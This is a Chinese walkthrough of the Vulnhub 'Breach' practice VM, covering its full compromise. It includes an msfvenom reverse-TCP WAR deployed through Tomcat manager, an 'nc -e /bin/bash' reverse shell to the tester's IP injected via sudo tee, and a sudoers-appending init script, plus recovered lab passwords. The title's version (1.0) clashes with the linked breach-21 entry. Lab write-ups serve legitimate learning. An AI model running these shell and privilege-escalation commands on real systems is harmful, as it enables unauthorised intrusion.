Vulnhub-靶机-BREACH: 1.0

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/breach-21,159/

根据提示vulnhub官网提示,此靶机是固定IP地址,IP地址为:192.168.110.140

nmap -Pn -n -sS 192.168.110.140 --top-ports 100 -v --open -oA target_$(date "+%Y-%m-%d")

扫描结果发现开放了很多端口,首先看看80端口

没多少信息,右键查看下目标的源码页面

发现了base64编码的信息,我们解码看看

 

 

经过两次base64解码得出账户和密码

pgibbons:damnitfeel$goodtobeagang$ta 到这里先放着,点击页面的图片看看,得到如下页面

上面的每个页面都点击看了下,发现有个Employee portal的登录界面窗口

输入上面获得的账户和密码成功登录

查看下Inbox信息

发现一个目标web存在一个keystore,下载下来看看

确认是个java文件, cat一下是乱码,我们继续在目标web上找有价值的信息

这里根据上述Inbox的提示信息,上面获得的keystore跟ssl有关,于是使用ssl关键字进行搜索

点击看看

得到一个pcap的抓包文件,我尝试使用wireshark打开,发现里面是加密的数据包信息,同时上面获得此pcap的来源页面上提示加密的pcap的数据包密码是tomcat

这时候想到刚才获得的keystore文件,在kali环境下使用keytool工具进行解密,转格式

keytool -exportcert -alias tomcat -file tomcat.der -keystore keystore

keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12

上述操作完成之后,最终获得了两个文件,一个是keystore.p12 , 另一个是 tomcat.der 其中keystore.p12是重要文件,用作wireshark解密数据包,通过wireshark首选项找到TLS

然后点击编辑功能,添加信息进行解密

这里的IP地址是目标靶机的IP地址,端口是根据pcap的数据包信息可以知道目标端口是8443,既然是解密web应用,那么协议是http,key文件就是刚刚上面获得keystroe.p12 ,密码是tomcat,操作完成之后即可解密,通过wireshark的http数据流查看解密的http信息

根据上述的http请求包,发现是采用的401认证,那么这种认证使用的是base64编码,我们是base64解码即可,下面是通过burp进行解码

tomcat:Tt5D8F(#!*u=G)4m7zB

得到账户密码之后,根据解密的http请求包中含有访问的地址,尝试去登录看看,地址:https://192.168.110.140:8443/_M@nag3Me/html 。这里要注意,刚开始我访问这个地址发现访问不了,不管是firefox还是chrome都是访问不了,然后telnet了下端口8443发现是通的,此时猜测可能是靶机较老,tls加密方式不安全,新版浏览器不支持,所以我通过使用burpsuite进行代理访问目标

成功访问之后,可以直接通过Deploy进行部署war来反弹shell,这里也可以上传jsp的webshell, 我这里直接使用metasploit生成对于的war包

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4488 -f war -o manager.war

在kali中打开msf并配置好payload进行监听

开始上传生成好的war包

 上传部署成功之后,然后访问

此时成功在msf上反弹shell,查看一下基本信息

在这里思路断了一会,然后再回头看看web,使用dirb命令目录爆破下看看

发现了images目录,访问看看

每个照片都下载下来使用strings或者exiftool看看是否存在重要的提示和敏感信息,最终发现,bill.png照片存在重要信息,使用wget将其下载下来查看,得到如下信息

猜测这个有可能是跟用户名密码相关, 看看passwd

存在两个用户blumbergh,milton 使用上面获得的信息当作密码去尝试这两个用户,

 

 最终确认这个密码对应的用户是blumbergh,在此账户下查看了如下一些信息:

发现可以通过sudo进行提权,具体命令如下:

echo "nc -e /bin/bash 192.168.110.128 8443" > bmfx.txt
cat bmfx.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

然后kali本地监听8443端口即可反弹shell,这里需要注意一下,通过tee反弹shell时间有点长,大家需要耐心等待,我刚开始测试的时候以为有问题,刚放了一段时间,没问题,可以成功反弹shell

 =========================================================================================================================================================================

这里我通过上面拿到的blumbergh的权限查看了用户milton的家目录文件,发现有mysql的历史文件信息,猜测目标可能存在mysql服务,于是尝试空口令登录MySQL数据库,居然登录成功了

查看数据库用户user的表信息

发现用户milton对应的加密密码6450d89bd3aff1d893b85d3ad65d2ec2

解密得到密码是thelaststraw,再次通过metasploit获得的反弹shell使用su切换到用户milton,切换之后使用nc 送一个shell到本地kali,然后配置为友好的tty-shell

这里提权的重要操作是执行如下命令,然后促使目标靶机重启

echo 'echo "milton ALL=(ALL) ALL" >> /etc/sudoers' > /etc/init.d/portly.sh

重启系统再次进去目标靶机用户milton之后执行sudo -l

看到上面信息,那么就可以确认是可以通过sudo -i进行提权

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13640518.html